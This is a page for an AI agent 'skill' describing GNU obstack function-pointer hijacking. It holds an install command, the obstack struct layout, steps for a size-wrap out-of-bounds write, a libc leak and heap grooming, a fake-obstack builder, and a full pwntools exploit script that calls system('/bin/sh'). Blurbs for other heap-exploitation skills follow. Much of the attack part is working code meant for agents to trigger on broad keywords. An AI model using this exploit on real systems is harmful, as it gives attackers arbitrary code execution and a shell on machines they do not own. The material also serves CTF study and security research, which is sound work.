skills/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack/SKILL.md
How to exploit GNU obstack function-pointer hijacking vulnerabilities. Use this skill whenever the user mentions obstack, GNU obstack, chunkfun, freefun, heap exploitation, libc leaks, function pointer hijacking, or binary exploitation involving allocator state corruption. This skill covers size_t desync primitives, OOB pointer writes, libc base leaking, and fake obstack construction for arbitrary code execution.
npx skillsauth add abelrguezr/hacktricks-skills gnu-obstack-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill guides you through exploiting GNU obstack vulnerabilities to achieve arbitrary code execution via function-pointer hijacking.
Use this skill when:
obstack_alloc, obstack_free, etc.)chunkfun or freefun for code executionstruct obstack {
char *chunk; // +0x00 Current chunk base
char *next_free; // +0x08 Next allocation offset
char *chunk_limit; // +0x10 End of current chunk
long chunk_size; // +0x18 Current chunk size
void (*chunkfun)(void *, size_t); // +0x20 Allocation function
void (*freefun)(void *, void *); // +0x28 Free function
void *extra_arg; // +0x30 Extra argument for chunkfun
int use_extra_arg; // +0x38 Flag: use extra_arg in calls
// ... additional fields
};
Key offsets for exploitation:
chunkfun: +0x20 (or +0x38 in some versions)freefun: +0x28 (or +0x40 in some versions)extra_arg: +0x30use_extra_arg: +0x38GNU obstacks trigger indirect calls through chunkfun when:
next_free == chunk_limit (chunk is full)_obstack_newchunk is called to allocate a new chunkchunkfun(extra_arg, new_size) or chunkfun(new_size)If you can corrupt an obstack structure, you control the function pointer.
Look for this pattern in the binary:
// Vulnerable: 32-bit register used for multiplication
void *elements = obstack_alloc(obs, sizeof(void *) * size);
When compiled, sizeof(void *) * size may use a 32-bit register:
size = 0x20000000 → 0x20000000 * 8 = 0x100000000 → wraps to 0x0 in 32-bitsize remains 0x20000000elements[curr++] = ptr; → 8-byte OOB pointer storesDetection checklist:
obstack_alloc with computed sizessizeof(void *) or similarobjdump -d)You need two heap objects adjacent in memory:
[Object A: pointer array with OOB write primitive]
[Object B: contains obstack pointer or obstack structure]
Grooming strategy:
The chunkfun field contains a pointer to malloc by default.
Leak procedure:
0x20 (or 0x38) to get malloc addresslibc_base = malloc_addr - malloc_offsetsystem = libc_base + system_offset, binsh = libc_base + binsh_offsetExample leak code:
# After OOB write redirects victim pointer to obstack
libc_leak = read_from_offset(victim_ptr, 0x20) # chunkfun = malloc
libc_base = libc_leak - libc.symbols['malloc']
print(f"libc_base: {hex(libc_base)}")
Create attacker-controlled data that mimics an obstack header:
from pwn import p64
def create_fake_obstack(system_addr, binsh_addr, heap_leak):
fake = b""
fake += p64(0x1000) # chunk_size: large enough
fake += p64(heap_leak) # chunk: valid heap address
fake += p64(heap_leak) # object_base
fake += p64(heap_leak) # next_free: must equal chunk_limit
fake += p64(heap_leak) # chunk_limit: same as next_free
fake += p64(0xF) # alignment_mask
fake += p64(0) # temp
fake += p64(system_addr) # chunkfun: system()
fake += p64(0) # freefun: unused
fake += p64(binsh_addr) # extra_arg: "/bin/sh"
fake += p64(1) # use_extra_arg: enable 2-arg call
return fake
Critical fields:
next_free == chunk_limit: Forces _obstack_newchunk on next allocationchunkfun: Your target function (e.g., system)extra_arg: First argument (e.g., "/bin/sh" address)use_extra_arg = 1: Selects chunkfun(extra_arg, new_size) call formstruct obstack * pointer to point at your fake obstack_obstack_newchunk calls chunkfun(extra_arg, new_size) → system("/bin/sh")Trigger methods:
obstack_alloc(victim_obs, any_size)obstack_push(victim_obs, any_data)from pwn import *
# Configuration
binary = './vulnerable_binary'
libc = ELF('./libc.so.6')
# Connect
p = process(binary) # or remote('target', port)
# Step 1: Trigger size wrap
# Send size = 0x20000000 to create 0-byte allocation with huge logical size
p.sendlineafter(b'size', b'536870912') # 0x20000000
# Step 2: Groom heap
# Allocate victim object with obstack pointer
p.sendlineafter(b'cmd', b'alloc_victim')
# Step 3: Leak libc
# Use OOB write to redirect pointer, then read chunkfun
p.sendlineafter(b'cmd', b'leak')
libc_leak = u64(p.recvline()[:6].ljust(8, b'\x00'))
libc_base = libc_leak - libc.symbols['malloc']
print(f"[*] libc_base: {hex(libc_base)}")
# Step 4: Create fake obstack
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
fake_obstack = create_fake_obstack(system_addr, binsh_addr, heap_leak)
# Step 5: Overwrite obstack pointer and trigger
p.sendlineafter(b'cmd', b'overwrite')
p.send(fake_obstack)
p.sendlineafter(b'cmd', b'alloc') # Triggers the hijack
# Get shell
p.interactive()
# Check actual offsets in your libc
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep obstack
# Or use gdb
(gdb) p sizeof(struct obstack)
(gdb) p &((struct obstack*)0)->chunkfun
# Disassemble the vulnerable function
objdump -d binary | grep -A 20 "vulnerable_function"
# Look for SHL EAX (32-bit shift) instead of SHL RAX (64-bit)
# In gdb with pwndbg
heap
vmmap
alignment_mask.testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.